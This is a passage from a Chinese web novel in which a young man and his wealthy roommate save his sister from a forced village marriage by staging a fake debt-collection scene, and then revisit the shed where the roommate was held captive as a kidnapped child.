燕绥安眯起眼看向他:“宝宝,我想聊的话题只有一个,这种时候不勉强你了,等以后再说也不迟。” 他没有点明,可司谨却莫名就领会了他话中的含义,犹豫过后还是乖乖闭上了眼睛。 “……” 高速没有堵车,抵达余城时正在下小雨,天空黑沉沉乌云密布,让司谨的心情也莫名变得压抑起来。 下了高速,路就变得难走,好在燕绥安的车技不错,便也没有耽误多久的功夫。 路过原先送二姐离开的位置,司谨的心一动,脑海中的困乏一扫而空,忍不住对燕绥安说:“等会你把车停在村口,我自己进去就可以。” 燕绥安看了他一眼,却没有答应:“我得跟着你,说不定还用得上我呢。” 司谨没有接话。 见他犹豫,燕绥安只得承诺:“放心,我不会乱说话的,到时候乖乖在外头等你就是。” 他都这么说了,司谨只好点头答应。 将车停在了斜坡上,面前陈旧的院子里传来鸡的叫声,还有一股不好闻的气味,司谨着急进去前还局促提醒燕绥安:“地上有点脏,你可以在这里等我。” 燕绥安没说什么,只是安安静静跟在他身后。 屋子里果然没有人,司谨推门进了屋子,水泥地的大厅里散出阴冷气息。 “是小谨吗?”一楼房间里传出一道女声。 “大姐。”司谨快步进了门,果然看见大姐正躺在床上,这会儿正着急冲他挥挥手,“怎么这么快就回来了?” 司谨:“坐朋友车回来的,爸妈他们去哪里了?” “我也不知道啊。”提起这件事,大姐也着急起来,“一大早人就不见了,原本淑美的行李就放在这边,就一个背包,现在都没了。” 司谨皱眉:“他们前几天有没有说过这两天有什么安排?” 大姐认真思考良久,忽然灵光一闪:“对了!前段时间爸在这里说老屋那边的陈叔儿子要回家,讲是在外面做大生意的,还让妈去买点好东西回头送过去,但是不知道他们是不是去那边。” 老屋距离这里不算太远,司谨微微叹了口气。 “大姐你别着急,我现在过去看看。” “好,你小心着点,我总感觉不对,原先爸就说陈叔的儿子有钱,我真怕他……” 事情发展成现在这个样子,司谨也大致有了猜测,只是他不敢多想,只叫大姐不要太担心,接着便快步出了门。 燕绥安知道屋子里有人,为了避免浪费时间介绍所以并没有进去,这会儿正站在院子坎上看手机,打完字垂眸看向那些跑来跑去的鸡,时不时晃晃腿,惹得鸡来啄他的鞋子。 瞧见他幼稚的举动,司谨沉重的心情不知为何就放松了些许。 “大姐说可能是去老屋了,我得上去一趟,那里比较偏。” “没事,走吧。” 燕绥安说着抬起头,若有所思,“再过两个小时就要天黑了。” 司谨不敢再犹豫,出门上了他的车,给他指路。 燕绥安这回开了辆越野,所以走山路倒也方便,只是车身太大,等到了小路就开不过去,只能暂时停在边上。 下了车,司谨才发觉后面还跟了几个人,瞧着倒是热闹,让他感觉不太对劲。 村子里很少来这种外来人,几人的目光都落在燕绥安身上,扫过他那辆看着就价值不菲的车,发出细小的惊讶讨论声。 燕绥安不着痕迹回头看了眼,压低声音道:“这些该不会都是村子里的混混吧。” 这种情况下他说出的话显然是极好笑的,司谨忍不住勾了勾唇角,无奈道:“不至于,但看着跟我们应该是去同一个地方的。” 不过多时,上面出现了几座布满青苔的房屋,看起来都没什么人气,是久没人居住的景象。 “上面那栋是我们家的老屋,就是原先我爷爷奶奶的房子。”司谨路过拐角,抬起头看向遥远处接近山顶一个长满荒草的院子,小声给燕绥安介绍。 燕绥安朝那方向看了一眼,有点远,“你小时候是住在这,还是刚才那边?” “小学的时候住在这里,和爷爷奶奶一起,初中以后我爸妈回来家里,就到他们那边去了。” “那解决完那边的事上去看看,这座山看着挺好爬。” 司谨自然没有异议,只是他凭借记忆中的位置朝着陈叔家走去,回头间却发现燕绥安还盯着山顶的方向。 “上面似乎还有房子。” 怔了怔,司谨眯起眼睛看过去,才想起来:“那边是泥土房,现在已经是危房了,很久之前是有人住的,但之后好像说犯了什么事情,一直没有人回来就荒废了。” 见燕绥安似乎感兴趣,他提议:“晚点去那边看看?” “好。”燕绥安一口答应下来。 不远处的院子传出喧闹的声音,像是有人在布置酒宴,里头传出切菜烧柴的声音。 司谨心中的猜想被证实,只朝着院子里看了一眼,察觉到燕绥安想要进去看看,便抓住了他的手,快步离开。 到了院后的巷子,燕绥安才冲他挑眉疑惑。 “他们可能认识我。”司谨拧拧眉,“我们去后院。” “好。”燕绥安顺势反手扣住他的手,没让他抽走,主动朝前走去,“往哪走?” 司谨:“……” 这里的房子基本上都会有一道后门,方便穿行,等他们绕着院子后面走了一圈,才终于找到了那扇半掩的门。 是很小的一扇门,燕绥安迈过门槛进去时甚至要低下头才能保证不被撞到。 “小心点。” 司谨刚提醒完,就听见屋子里头传出吼声- “我们养你这么大,是让你做白眼狼的?一个姑娘家家总想着往大城市跑,也想学你弟弟那样?他表面上光鲜亮丽的,要是让人家知道一个子都不往家里拿,也瞧不起他!” “淑美,你这个年纪真的不要这么幼稚,你陈叔的儿子也是在大城市开工厂的,你跟他结婚了正好跟他一起去外面,不是正遂了你的意吗?” 司淑美看着自己父母两人一唱一和,只觉得好笑:“你们到底有完没完?就算把我锁在这,我也不会答应跟他结婚的,别以为我不知道,你们已经收了他们家的彩礼钱!怎么?是不是转手就把钱给司鹏了,你们心可真黑啊” “你怎么说话呢?”边上的司鹏忍不住了,“你还想找什么样的啊?人家能看上你就不错了,还在这挑呢!” 司淑美压根不惯着他,冷笑一声:“是啊,你倒是不挑,当初跪在前女友家门口求她免费嫁给自己的是谁啊?生来就没脸没皮的,你有挑的资格吗你?” “你——” 司鹏脸一黑,攥着拳头就要上去,被边上的陈叔给拦住了。 “好好说嘛,动什么手嘞。”陈叔装完好人,看向被围在中间气到脸发红的漂亮女孩,越看越满意,“淑美,你也别气性这么大,我儿子人也不差的,等他明早回来你见着就知道,这些年他变化还挺大的,况且你们小时候不是也在一起玩吗?我同你父母关系也好,未来两家有个照应,肯定不会叫你在我们家吃亏的。” 司淑美对他也没好脸色:“是吗?你儿子屁颠颠追在我后头喊我姑奶奶,要是能继续维持这关系我倒是愿意,其他的就免谈了,我可不想和一个酒鬼烟鬼过一辈子。” 见他这么贬低自己儿子,陈叔瞬间说不出话来,脸色僵硬难看。 “没事陈哥不用管她,反正明天就办酒席,过几天让你儿子带着去县里打结婚证,之后带着一起去外地上班就是。”司志义不以为然,“我看她还能跑去哪。” 司淑美深深吸了口气,怒视向周围几人,站起身就要往外走,却又被那几人娴熟围住。 “要我说,彩礼给谁了就谁嫁吧,我看司鹏从小到大都挺适合吃软饭的,要不拍张照片过去看看,问问你儿子嫌不嫌弃这个媳妇?” 司淑美的话瞬间激怒了司鹏,他一把退开身边拦着自己的人,猛地扑过去。 “诶,别动手!”李美花有些着急,“明天就要结婚,你还打你妹妹!” 司淑美听见只觉得讽刺,瞥见气急败坏走来的司鹏,下意识抬腿狠狠踢过去,司鹏一惊避开,再怒火中烧抬起头,一个重重的巴掌就落在了脸上,打得他头晕目眩,耳中响起剧烈的嗡鸣。 司淑美反应极快,扑过去一把揪住他的头发,狠狠抬起手,又往他另一侧脸扇了过去。 司志义看见这一幕表情也变得狰狞:“你干什么呢?” 身后来人要将司淑美扯开,她讽笑一声松了手,抬头却见司志义暴怒抬手要揍她。 只是这次拳头还没挥到脸上,司志义便被一双手推开,后背撞在墙上,难得显得狼狈。 “哎哟!”李美花看向来人,面露震惊,“你怎么回来了?” 司谨没有理会她,伸手将二姐扶起来,看着还满脸不可置信躺在地上的司鹏,没有多给他眼神。 “姐,你没事吧?” 司淑美瞧见他像是觉得在做梦,但还是没有问,只摇摇头。 “我们走。”司谨确定她没有受伤,牵着就想离开,却被陈叔和边上的一个陌生男人给拦住了去路。 “走什么走?司淑美明天就要跟我儿子结婚,早都讲好了的,酒席都开始准备了,现在想耍赖?” 司谨虽然没有听完全程,但也知道是个什么情况,闻言面露冷意:“谁和你定好的就去找谁,又不是我二姐和你定的亲。” “你们年轻人也不讲理,我们这边可是不答应。” 看着面前人装傻,司谨气得不行。 “你们这是犯法的!” “哪条法律还能管人家结婚?”陈叔说着,威胁式地看了眼后面正在扶自己儿子的司志义,“要是要耍赖,就把彩礼还有我们送过去的礼物,连带酒席的钱全部退回来!” 此话一出,司鹏便道:“那怎么行?她嫁,肯定嫁。” “我可没说这话。”司淑美鄙夷看了眼司鹏,“你要退钱直接找他就行,我可一分都没拿,拦着我算什么意思?” 司谨也道:“陈叔,我姐先前根本就不知道这件事,冤有头债有主,你该找谁要钱就找谁吧。” “那可不行,你爸妈可都说了。”陈叔笑笑,没有要让开的意思。 屋内气氛剑拔弩张,谁也不让谁。 司谨抓着二姐的手,正想着法子,外头便传出低沉锋利的声线。 “这么热闹呢。” 众人一怔,齐齐看向门口,便见个年轻男人迈过门槛进来,抬手将不知何时戴上的墨镜摘了,跟进自己家似的,漫不经心将屋内的装饰和人都扫了一遍。 “你谁啊?”陈叔莫名警惕起来,直觉告诉他这人的身份不简单。 司谨看见本该在外面等的燕绥安忽然进来,也不住愣了愣,而对方将目光落在他身上,不着痕迹眨了眼,然后才走到了司淑美的面前。 “我找她。” “你找她干什——” 司鹏怒然开口,话还没说完便被燕绥安冷冷打断:“关你屁事,把嘴闭上。” 司淑美看着眼前陌生的俊美男人,也觉得莫名其妙。 “你……” “你什么你?以为失联就不用还钱了是吗?”燕绥安唇角扯开冷笑,语气森寒,“我警告你,我们手段多的是,你每个月不按时还钱,下次来的可就是打手了。” 不只是司淑美愣住,司谨听见这些话,也感觉脑子要炸了。 “什么意思啊?”李美花回过劲来,小心翼翼问,“你搞错了吧?淑美怎么可能借钱?” “阿姨,不是借钱,是贷款。”燕绥安慢条斯理点开手机,将一份电子式的合同放大递到她面前,“你女儿表面看着光鲜亮丽的,在我们这可欠了不少,平时穿金戴银的,卡地亚手环和爱马仕的包可不便宜,您以为这钱从哪里来的?” 司淑美摸了摸手上pdd二十块包邮的盗版手镯,又垂眸扫了眼斜跨在腰上一眼假的水桶包。 司志义满脸不信,伸手要将手机拿走,燕绥安收拢手指挪开,面露鄙夷,对方只好就这他的动作看。 李美花不太认字,被司鹏给挤到一边。 “六十万?”司志义怒吼出声,“你开什么玩笑?” 燕绥安收回手机,不耐烦道:“你冲我吼什么吼?刚才在外头我也听了不少,你就是她爹是吧?那这钱你也有义务还。” “我有什么义务?你可别瞎说!”司志义猛地变了脸色。 燕绥安盯着他看了两秒,忽然笑了:“行啊,反正我也知道你们家住哪,以后可得早点起床出门,免得门口出现什么不好的东西,墙上喷漆的欠债还钱让人看了去,至于什么泼狗血洒粪水的情况可能也避免不了。” 司志义最是要面子,闻言脸色煞白,嘴唇止不住哆嗦:“你们这是犯法的,况且这钱又不是我们借的,你该找谁找谁去。” “确实是这个理,但我要是联系不她,她还不上钱,我也只能找你们了。”燕绥安说着瞥了眼面露疑虑的陈叔,将手搭在司淑美肩上拍了拍,“哟,这位是未来公公?结婚就太好了,两个人一起还钱可比一个人轻松多了,听说您儿子是在大城市里头创业开厂的?具体做的什么?” 陈叔一僵:“只是订婚,还没领证,算不得什么。” 燕绥安意味深长地点点头:“那可得快点领,只是今天这钱是必须要给了,不知道谁来帮她还?” 目光逐一扫过几人,司谨对上他的目光,有点儿想笑,但还是努力憋了回去。 司淑美虽然不认识这人,但听着他的话也大致懂了是在帮自己,便低垂下脑袋说:“我手上是真的没钱了,本来这几天就要去上班的,但是被这边的事情绊住了,能不能再通融一下。” 得到燕绥安的拒绝,她又望向司志义:“爸,你真得帮帮我,这么多钱我一个人要怎么还啊?” 司鹏听不下去了:“你在哪欠的这么多钱?是不是跟别人串通好故意来骗我们?” 砰的一声,他领口被重重攥住,身体撞在墙上,脖颈死死卡着呼吸困难,一张脸涨得通红。 “哎呀你干什么?” 李美花着急上前,却被燕绥安腾出一只手轻易推开。 “别在这耽误老子时间,没工夫跟你们瞎扯,一句话,今天到底还不还钱?” 男人的手劲极大,司鹏被死死卡在墙上,脚尖只能堪堪落着地上,窒息的恐惧感让他打起了抖,喉咙间只能发出嗬嗬的嘶哑叫声。 “我们哪有钱啊?”李美花连忙去找司淑美,“你这个死丫头!” 司谨一把拦住她,冷声道:“二姐已经知道错了,爸妈,你们有的话就给点吧,至少先拖会功夫,否则他就要把二姐带走了。” 司志义平时在家强势,可到了关键时刻也不过是只纸老虎,这会儿下意识去看陈叔。 陈叔还存有疑心,可这时外头跑进来两个小年轻,见着屋子里的一幕却是目瞪口呆,忙将刚才搜到的车分享给了陈叔边上的年轻人。 “这人可真有钱啊,我刚才跟狗蛋在手机上面搜了,讲这个车要三百多万嘞。” “刚才山底下不知道哪来的好多人,穿得跟□□一样,好像往我们这边来了。” 陈叔闻言身体一凉,见着李美花朝自己求助,忙不迭便道:“这种品性的儿媳妇我们家可要不起,老司,你还是把彩礼钱退给我吧。” “老陈!”司志义脸色一变,可看着自己儿子还在受罪,又只得咬着牙忍下,“你快让人把他给赶出去。” 话音落,燕绥安忽然松了手,司鹏重重摔在地上,捂着喉咙发出了撕心裂肺的咳嗽声。 “知道我爸是谁吗?我亲自来是给你们脸,真惹我生气,你们一个个的都别想跑。” “你什么意思?” “你说我什么意思?欠债还钱天经地义!” 砰的一声,堆放着喜糖和礼盒的桌子被砸倒,红艳艳散落一地,惹得陈叔和司志义都面露惊惧。 “你别在这闹事了,我已经在海城找到稳定的工作,以后每个月都会按时还钱。”司淑美进入了角色,故作委屈看向司谨,“小弟,我在出租屋里头还有攒下来的五千块,你能不能借我点?” 司谨眨眨眼,会意接话:“我也没有多少,可以都取出来给你。” 司淑美感动地点点头,又看向司志义和李美花:“爸、妈。” 李美花正心疼自己儿子呢,头也不回道:“家里什么情况你不知道吗?我们哪有钱!” 司志义也沉着脸偏开头:“真是不孝女,我怎么就生了这么个东西!” 他说完又想到什么,怒而转向司谨:“你也不准给她钱!” 司谨又怎么会不知道司志义的意思,他要是有钱自然是要紧着给司鹏,司志义怎么会允许他接济二姐。 “所以你这意思,就是想逼死我二姐?” 冷淡的语气不带一丝情感,让司志义面色变得更难看。 陈叔听着里头的动静,止不住后悔叹息,好不容易给儿子找着个合适的,怎么就是个这么个人- 二十分钟后,半山腰只有安静的脚步声。 直到底下还在掰扯彩礼退还问题的争吵声消失了,司谨才长长吐出一口气。 “麻烦你们了。”司淑美也累够呛,想到原本趾高气扬的陈叔听见山底下来人就赶着让她快离开自己家的模样,又忍不住嗤笑一声,“看不出来,都是演技派啊。” 司谨还没完全回过劲来,有点不好意思地笑了一下:“我都没怎么说话。” “所以山下是真的来人了吗?”司淑美犹豫着问。 走在前面的燕绥安回过头,笑了笑:“怕有情况提前喊了点人,没什么大事。” 刚才情况混乱,司淑美都没看清楚他的脸,这会儿看清楚了,还是有些惊讶。 “今天多亏你。” 想起还没介绍,司谨忙道:“姐,他是我室友,燕绥安。” 两人打过招呼,没聊几句便到了老屋,司淑美进门将自己早上放在这的背包拎上,回忆起什么忍不住翻了个白眼。 “说好回老屋给爷爷奶奶上柱香的,结果忽然去下面吃饭,进屋就不让走了,他们可真行。” 阳光无法撒入的大厅散发着凉意,司谨因为方才事情而躁动的心随之安静下来,也抽了香在蜡烛上方点燃,对着面前的香炉和照片弯下了腰。 等插上香,他还没回头,身后就传来了燕绥安低低的声音:“你和你爷爷的眼睛长得很像。” 司淑美在院子里给朋友和大姐打电话报平安,司谨听着外头的动静,小声说:“他们都说我眼睛嘴巴像我爷爷,脸型和鼻子像我奶奶。” 燕绥安笑了笑:“很漂亮的。” “今天谢谢你。”司谨有点不好意思,“你演得跟真的一样。” 他和燕绥安熟悉以后就很少在意对方身上那种用金钱堆砌起来的气场,可今天才又真确感受到那种压迫。 “再谢真的要生气了。” 燕绥安装作不高兴皱皱眉,却让司谨眼底的笑意变得更加浓重。 过了一会儿,燕绥安提出还要去山顶看看,但司淑美从上午开始就没吃过东西,这会儿也有些疲惫,便喊了两人上来带司淑美下山。 “不要回去家里了,你先跟着他们回余城,我们到城里面会和。” 司淑美感激地笑笑:“放心,我也不想进那个家门了,经过这件事他们很长一段时间都不会联系我,也算给我省心,以后估计不会回来了,看他们一副要跟我断绝关系的架势,真有意思。” 等着看见山下来接司淑美的人到了,司谨才放心跟着燕绥安一起朝着上方走去。 只是司淑美看着两人的背影,回想起方才在院子里头听见那男人喊她弟弟叫宝宝,莫名就觉得哪不太对- 天色已经不早,好在那地方并不远,稍微加快些速度就能赶在天黑前下山。 司谨有些疲惫,跟在后面略显吃力,察觉到燕绥安放慢了脚步,他看着前方不远处的背影,心底忽然升起些疑惑。 不知为何,他总觉得燕绥安对于山顶的那几栋破旧房子很在意。 第38章 山顶风很大,其实这几座泥土房距离司谨家老屋直线距离并不远,只是腾出的路左弯右绕耽误了不少功夫。 司谨缓和着自己的呼吸,提醒道:“不要靠太近,可能会掉石头下来。” “那栋怎么塌了?”燕绥安指着远处只剩一半的屋子。 “这种房子其实很容易老化的,塌掉很正常。”司谨也想不起来具体是什么时候,便指向了周围的小路,“我小时候喜欢到这里来玩,那时候这里还是很新的,我和二姐来这里摘果子的时候就发现了边上的墙有松动。” 燕绥安围着那几座低矮破旧的房子缓慢走了一圈,忽然笑了:“原来这么小。” 司谨没太理解他的意思,但能够感受出他话里有话,迟疑着没有开口。 下一秒,燕绥安的目光落在了最偏也是最小的一个隔间,忽然俯身走了进去。 司谨连忙喊他,“出来,里面很危险。” “别怕。” 燕绥安在狭窄漆黑的屋子里张望一圈,忽然又抓住倚在墙上的破损木门。 在司谨犹豫要不要跟进去的时候,却见燕绥安将那木门搬起来,放在了原本的位置。 “燕绥安。” 司谨有些着急,看见门被关上正上前,下一秒木门中间的破开的狭窄缝隙处就透出了燕绥安的身影。 狭长深黑的眼眸在外面光芒映照时呈现出很淡的浅色,里头承载的漠然无端让司谨感觉到熟悉。 “小朋友。”燕绥安忽然喊了一声。 司谨愣住:“什么?” “有想起一点吗?”燕绥安抬眸看向他。 司谨茫然无措,脑海中忽然闪过一副似曾相识的画面,迫使他蹲了下来,而在这一刻那记忆似乎也变得清晰了起来- 村子里没有什么娱乐项目,二姐和朋友总是约着周末一起去烤地瓜,她们去上面挖泥土,便让司谨随便找个地方捡点树枝用来点火。 在家里没有什么好吃的东西,司谨很馋,所以也找得很卖力。 只是抱着枯枝路过了平时很凶的叔叔家门口,忽然就听见里面传出了很冷淡的少年声音。 “小朋友。” 脚步顿住,小司谨的脸上透出迷茫:“谁在说话?” “喂,这边。” 循着声音,司谨看见一扇紧闭的门缝隙里透出一双眼睛。 被吓了一大跳,他差点摔在地上,却听那人又开口道:“过来聊会天呗。” 司谨犹豫着走过去,站在门前面往里面张望,有点儿疑惑:“你为什么在里面啊?这么黑。” “被关起来了呗。”里头的人声音有点虚弱,“你要是有机会帮我报个警吧,就是不知道人家信不信幼儿园小孩的话。” 司谨脑瓜子运转速度很慢,不太懂,但还是下意识反驳道:“我没上过幼儿园,我读小学一年级了。” 里面的人忽然笑了:“那你比我小四岁,叫我哥哥吧。” 司谨皱皱眉头,乖乖喊:“哥哥,你能出来吗?” “不能,有什么吃的吗?饿了。” 司谨想了想:“我要去烤地瓜,哥哥你要吃吗?” “这也塞不进来吧。” 说着,缝隙里伸出一节指尖,费劲塞了半天也没塞出来。 司谨想了很久,才说:“可以把地瓜弄烂掉,从这里塞进去。” “……”里头的人听着他认真的想法,无语似的,“别恶心我了。” “那……这个给哥哥吧。”司谨肉疼地将前几天亲戚给的薄荷糖拿出来,费劲地往缝隙里面塞。 掉进去,里头很快就传出撕开包装的声音。 “好吃吗?”司谨舔了舔嘴唇,有点馋。 “一口凉到肚子里。” 那是好还是不好? 司谨没有搞懂,跟里头的人聊了很久,自己信息被套了个全,却傻乎乎没有发现一点。 但是等到他想要问里面的人什么时,身后就传来一声怒斥。 “你在这做什么呢?” 衣领被拽起,司谨轻飘飘的身体被拎起来,看见一张凶神恶煞的脸。 这就是那个很不好说话的叔叔了,每次他和二姐从这条路经过都会被他狠狠瞪着。 “我……”司谨有点委屈,瘪着嘴想哭。 “别跑这边玩,去底下。”男人拎着他到了拐角的地方,瞥了眼不远处紧闭的小屋门,“那是叔叔的儿子,他不乖乖吃饭还偷东西,所以我惩罚他,让他在里面关禁闭。” 真的吗? 司谨总觉得不太对,但迫于害怕只能点点头。 等被男人松开,他才赶紧跑下了山,只是等他把这件事情告诉了二姐,她们却不信,等司谨说带着她们上去看时,大家想起那个叔叔凶狠的模样,又都不敢了。 晚上回到了家里,吃完饭去睡觉,司谨翻来覆去睡不着,只好小声把这件事情又告诉了爷爷。 “那个哥哥叫我帮他报警,那报警是不是打110呢?” 爷爷听后拍拍他的后背,“人家家里的事情,咱们怎么管得着,打小孩的多了去了,你大哥挨两句骂就说要让警察来抓人,小孩不都这样。” 想到司鹏,司谨忍不住撇撇嘴巴,还想再说点什么,爷爷已经让他赶紧睡觉了。 等到第二天,司谨趁着那个叔叔不在又跑到了门前,很轻敲了敲。 里头传出窸窣声,熟悉的眼睛又凑到了缝隙前。 “是你啊,怎么又来了?” 不知道是不是司谨的错觉,对方的声音好像比昨天更加无力了。 “你一晚上都没有出来吗?” “嗯哼。” “那你也没有吃饭吗?” “我好像气饱了,都没觉得饿。” 司谨不免担忧,想了想还是把一个细细的手电筒推了进去:“哥哥,这个给你。” 一根笔芯的宽度,里头的人似乎还研究了一下才找到打开的方法,映亮了些许漆黑的屋子。 “但是没有什么电,要省着用。” 有了昨天被发现的经验,司谨左看右看生怕那个叔叔又忽然回来了。 屋子里的人沉默两秒,手电筒的光明明暗暗,最后还是关上了。 “你叫什么名字?” “我叫司谨,司机的司,谨慎的谨。”其实司谨自己都还不太会写名字,也不知道是什么意思,只是爷爷教过他要这样说。 “挺好听的。” “那哥哥你呢?” “燕绥安。” “啊?大雁的雁吗?”这个名字对于司谨来说太难懂了,他念了两遍也记不住,只好作罢。 “yan有两种,不知道你说的是哪个,不过还是谢谢你,有机会我要是出去了,请你去我家做客怎么样?” “这里不就是你的家吗?” “是个屁。” “你不要骂人。”司谨有点委屈,只好顺着他,“那你的家在哪里?” “京市,距离这里应该很远。” “啊?” “不过你去了可以住在我家里,以后跟我一起上下学,怎么样?破农村有什么好,神经病还那么多。” 司谨苦恼地听着,摇摇头:“可是我还要跟爷爷奶奶在一起的。” “……”里面的人沉默了很久,才叹口气,“好吧。” “你不要生气。”司谨小心翼翼从口袋里面掏出了几片薄薄的红薯片,“我给你带的哦。” 正好从缝隙里伸进去,里头的人好像很犹豫,但最后还是吃了。 咔嚓咔嚓的清脆声响从里面传出来。 “味道还行。” 司谨对大城市还是很好奇的,问东问西好半天,在里面哥哥的提醒下才想起来自己该走了。 “哥哥,我明天要去上学了,要下周末才有时间来找你。” “那时我都饿死了吧。” “啊?”司谨被吓到了,“那怎么办啊?” “逗你的,好好上学,有空记得帮我报警。” 司谨点点头,有些不舍地离开了这里。 第二天去学校,他将作业交上去,想趁着放学的时间去找有没有地方有电话,可等到打了下课铃,却听见老师在叫他。 同学以为是他惹了什么事,都用嘲弄的眼光目送他离开。 进了办公室,司谨正紧张着,却听老师问:“司谨,你周记里面写的这个故事,是真的吗?” “啊?”司谨脑子转了很久才点了点头,以为是自己写错了,“老师,对不起。” “不是要怪你。”老师看了一眼今早报纸上面的寻人启事头条,只要提供线索就有几十万酬劳,激动到手都开始颤抖,“我是问你说后山里有一个小男孩被关起来的事情,是不是真的?” 司谨后知后觉说了是,然后把准备下了课去找电话报警的事情告诉了老师,说完又怕被老师骂。 “那个小男孩说自己是京市的,那他叫什么名字?” 司谨拧住眉头,很费劲地想了想:“叫什么sui什么的。” 他还是记不住,有些惭愧地低下了头,心道还好那个哥哥没有听见,否则他脾气不好,肯定会不高兴的。 老师的眼睛立马亮了起来:“好孩子,这件事情你不用管了,老师会打电话给警察的。” “真的吗?”司谨露出惊喜的表情,“谢谢老师。” 虽然他还不知道那个哥哥说的到底是真的还是假的,可是他总觉得哪里不对劲,最开始担心会因为乱报警挨骂,但现在老师都说会帮忙,他就放心了不少。 晚上回到家里,他半梦半醒间听见外面传来很大的警铃声,睁开眼睛看见爷爷正进门。 “爷爷,外面为什么这么吵啊?” 爷爷挥了挥手:“没事,继续睡吧,小孩子不要管。” “哦。” 小孩的睡眠总是很熟,司谨没多久便又失去了意识。 之后学校里总是传有人被抓走了,但是司谨却没有听懂那是什么意思。 只是等到了周末放假,他再装着一口袋地瓜片去山上,才发现那扇紧闭的木门已经打开了,而整个屋子乱糟糟的,像是经历过一场抢劫。 之后过去了许久,居住在这里的人都没有再出现- 尘封已久的记忆因为相似的画面猛然涌上脑海,司谨愣怔良久,再度回过神望见那双比起回忆中更加成熟的眼眸,忽然间有些词穷。 “你那时候是被拐到这里的?” 原先封阿姨在客厅说过的话出现在耳边,他的心情变得很复杂。 “差不多,他们转了很多道手。”燕绥安起身将门搬开,看着还傻傻蹲在地上的司谨,身后把他拉起来,“是我爸的仇家,有点矛盾,算是报复吧。” 司谨抓住他的手站起来,因为动作太快有些头晕,但还是不忘发问。 “那之后呢?” 他听封阿姨说起过,被带回家最开始的那段时间里,燕绥安连觉都不敢睡,还怕黑。 “其实离开这里以后那些记忆就淡忘了很多,可能是潜意识里不愿意回想,过去一两年才在做梦的时候依稀记得有个人给我送过吃的和手电筒,我妈为了感谢特意往你家送了点东西,但……” 燕绥安垂眸扫了眼清瘦的司谨,眸色晦暗:“现在看起来,那些钱显然是没有多少花在了你的身上。” 司谨完全不知道这件事情,但他按照时间线算了算,发现家里的新房子好像就是在那个时间建起来的,在这之后司志义还给司鹏报了县里的补习班,让他和二姐都很羡慕。 脑袋被轻轻揉了揉,司谨回过神来,心情一时间变得很微妙。 “我爸妈不愿意让我来这边,但这件事对我影响还是很大的,不解决的话心里好像总是藏着块石头。” 燕绥安若有所思的语气让司谨不得不抬起头看过去,他仿佛看见了对方眼中一瞬间的空茫。 “然后呢?” 他记得燕绥安上次和他说,认识是在镇上,难道就是他偷跑过来的那次? 燕绥安读懂了他眼中的疑问,轻声道:“原本是想上山的,可是刚到了镇上,就看见了你,你看着长大了很多,但人还是瘦瘦小小的,长相没怎么变,走在人群里又乖又单纯,特别显眼。” 司谨有点不好意思,他的中学时期并不开心,每天两点一线的生活很枯燥乏味,回到家里要做很多事情,在学校里也没有关系很好的同学,总是孤零零一个人,所以就连回忆起来的机会都很少。 可现在燕绥安却告诉他,在他最难过的那段时光,有人在偷偷关注他。 “我在镇上住了几天,还没找到上山的机会就被我爸发现了,不错看见你也很满足,心里好像一下子就放松了。”燕绥安轻笑一声,“说起来也很奇怪,自从那天回去以后,我晚上就不怎么做噩梦了。” 司谨皱皱眉头,有点担心:“你上次不是说在京市的时候还睡不好吗?” “可能就是单纯压力大吧。”燕绥安忽然笑了,“你怎么什么都信啊,那我以后会忍不住卖惨的。” 他脸上带着笑,司谨却没有被他逗到脸发红,转头看向了那扇被燕绥安重新放回门框上摇摇欲坠的破门。 “我们把这个门拆掉吧。” “什么?”燕绥安面露错愕。 司谨很认真地抬头看向他:“因为这扇门真的很讨厌,连最小的地瓜都塞不进去。” 愣怔两秒,燕绥安忽然笑了。 砰的一声,腐朽的木门被重重踹倒,巨大的冲击使得它在接触地面的瞬间就变得四分五裂,灰尘如烟雾般袅袅扬起,夕阳顺势撒入了昏暗的门洞内。 许是动静太大,屋顶的瓦片忽然簌簌掉落。 燕绥安还盯着那扇比记忆中更脆弱单薄的门有些发怔,司谨便抓住了他的手。 “好像有点不对。” 燕绥安被他拉着去了不远处的空地,刚从屋檐下离开不久,身后就传来了房屋倒塌的巨响。 灰尘漫天,原本站立的位置已然成了废墟。 一时间,燕绥安望着那方向,感觉心中的某片漆黑禁区也随之消失了。 司谨却是垂下眼眸,看着两人交握的手愣神,等过去了好一会儿还是没有抽走,包住的那只手顺势收紧,将手指穿入他的指缝,微微用力握住。 “走吧。” “好。”- 中学位于小山坡,上学时无论从哪一条路走都需要经过长长的斜坡。 司谨被老师授予了教室门的钥匙,每天都要一个人去学校里开门,而不知道从哪一天开始,他时常会遇见门口摆摊的大娘。 大娘看起来身强力壮,但每一次要把推车运到门口都很费劲,这时便会准确无误从空旷的路上找到他并且冲他招手求助。 每一次司谨在后面帮着她将推车推上山坡,都会得到她赠送的小奖励,推车里面售卖的包子馒头,有时候是糖葫芦或简单的学习用具,也有所谓孙子用过了不喜欢的时兴小玩具,外观看起来跟新的一样。 司谨起初觉得很不好意思,毕竟他只是帮了一点小忙,可大娘却怎么都要硬塞给他。 但偶然的一天他放假路过学校,却发现那大娘自己推着推车,轻轻松松就爬上了山坡,看起来似乎并不需要别人的帮助- 在余城简单休息了一晚,次日一早,三人终于抵达海城。 “这房子也太好了吧。”司淑美从进了星云城就止不住的开始感叹,眼中满是对新生活的憧憬。 “姐,这个小区安全性也高,距离你工作的地方不远。” 司淑美在后座,直道:“真挺不错的,回头我可得好好收拾。” 司谨听见她语气中满是轻松,也终于放心下来,不着痕迹看了眼将车驶入地库的燕绥安想,小声说:“你一会儿回去补觉吧,我带二姐去前面看房子,回来的时候给你带饭?” 开了这么久的车,他也感受到了燕绥安的疲惫。 “好。”燕绥安迟疑两秒,点头答应了。 司谨松口气,下车后便帮二姐拎着行李朝着不远处的九号楼走去。 屋子里的两个租客都不在,两人效率很高将东西收拾了,空荡的房间也有了温馨的感觉,房间整理完,两人便出门吃饭,司谨顺便和二姐介绍了周边的设施和小区构造。 司淑美听得连连点头,等吃过饭又是忍不住长叹一口气:“大城市是不一样,我还得好好在这待一阵才能适应。” 司谨抿唇笑了笑:“都是这样的,过段时间就习惯了,这边工作也辛苦呢。” 他说着起身让老板打包了两个菜,拎着出了门走进小区,司淑美才试探问:“小谨,姐问你个问题。” “嗯?” “你跟那个帅哥,是不是那种关系啊?” 司谨的脚步微僵。 司淑美察觉到他的紧张,忙解释道:“你放心,姐不会说什么的,你有喜欢的人肯定是件好事,那人看着也蛮靠谱的。” 司谨脸有点红,犹豫半天说:“算是吧。” 他压根没有察觉到司淑美是怎么发现的。 